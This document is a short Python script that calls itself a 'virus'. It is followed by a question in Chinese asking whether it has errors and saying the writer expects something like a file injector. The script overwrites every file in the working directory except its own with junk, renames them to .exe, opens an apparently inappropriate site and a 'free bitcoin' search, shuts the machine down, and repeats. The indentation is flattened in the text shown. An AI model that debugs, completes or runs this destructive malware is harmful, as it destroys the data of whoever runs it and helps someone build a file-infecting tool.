import time
import os
import webbrowser
import random
os.system("echo Please run this in your terminal. If you don't run this in your terminal it will crash")
def run():
"""
This function runs the virus by performing the following actions:
1. Collects a list of files in the current directory
2. Writes a binary representation of a list of numbers to each file
3. Renames each file with a .exe extension
4. Opens inappropriate web pages
5. Shutdown The computer in 5 seconds
6. Runs it again.
"""
files = []
numbers = [100000,200000,300000,400000,500000,600000,700000,800000,90000,100000]
# Collect a list of files in the current directory
for file in os.listdir():
if os.path.isdir(file):
continue
if os.path.isfile(file):
if file == "spongebob.py":
continue
else:
files.append(file)
# Write a binary representation of a list of numbers to each file
with open(file, "w") as wf:
for i in range(100):
wf.write(str(list(numbers)))
# Rename each file with a .exe extension
print(files)
os.replace(file, file + ".exe")
print("Your files are now unusable! Unless You redownload them")
# Open inappropriate web pages
webbrowser.open("https://piv.pivpiv.dk")
webbrowser.open("https://www.google.com/search?q=free+bitcoin&rlz=1C9BKJA_enCA1004CA1004&oq=Free+Bitcoin&aqs=chrome.0.0i512l8.")
# Shutdown the computer
time.sleep(5)
os.system("shutdown /s")
#Run the virus again
run()
run()
有什么错误吗?
我期待像一个文件注入器